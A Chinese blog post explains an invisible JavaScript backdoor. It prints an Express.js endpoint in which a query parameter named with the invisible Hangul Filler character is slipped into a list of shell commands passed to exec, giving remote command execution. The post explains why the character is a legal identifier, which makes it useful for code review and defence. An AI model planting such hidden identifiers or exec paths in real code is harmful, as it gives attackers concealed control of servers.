page contents

国外安全研究人员发现一种隐形的 JavaScript 后门

国外安全人员发现了一种看不见的 JavaScript 后门,我们来了解一下吧~

attachments-2021-11-HLztYoOE6194550faa733.png

国外安全人员发现了一种看不见的 JavaScript 后门,我们来了解一下吧~

我们先来看一看一段包含后门的代码:

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

你能看出里面的后门吗?

创建后门首先是找到一个不可见的 Unicode 字符,它可以在 JavaScript 中被解释为标识符/变量。从 ECMAScript 2015 开始,所有具有 Unicode 属性ID_Start的 Unicode 字符都可以在标识符中使用。

字符“ㅤ”(十六进制为 0x3164)是 “HANGUL FILLER” ,属于 Unicode 类别 “Letter, other” 。由于这个字符被认为是一个字母,而且具有ID_Start属性,因此可以出现在 JavaScript 变量中。

const { timeout,ㅤ} = req.query;

上述代码中,参数timeout并不是唯一参数,后面还有一个ㅤ。

同样的,当构造checkCommands数组时,这个变量ㅤ也被添加到数组中:

    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',\u3164
    ];

更多相关技术内容咨询欢迎前往并持续关注六星社区了解详情。

如果你想用Python开辟副业赚钱,但不熟悉爬虫与反爬虫技术,没有接单途径,也缺乏兼职经验
关注下方微信公众号:Python编程学习圈,获取价值999元全套Python入门到进阶的学习资料以及教程,还有Python技术交流群一起交流学习哦。

attachments-2022-06-UkgakaWp62b12b7605241.jpeg

  • 发表于 2021-11-17 09:04
  • 阅读 ( 501 )
  • 分类:行业资讯

你可能感兴趣的文章

相关问题

0 条评论

请先 登录 后评论
轩辕小不懂
轩辕小不懂

2403 篇文章

作家榜 »

  1. 轩辕小不懂 2403 文章
  2. 小柒 1474 文章
  3. Pack 1135 文章
  4. Nen 576 文章
  5. 王昭君 209 文章
  6. 文双 71 文章
  7. 小威 64 文章
  8. Cara 36 文章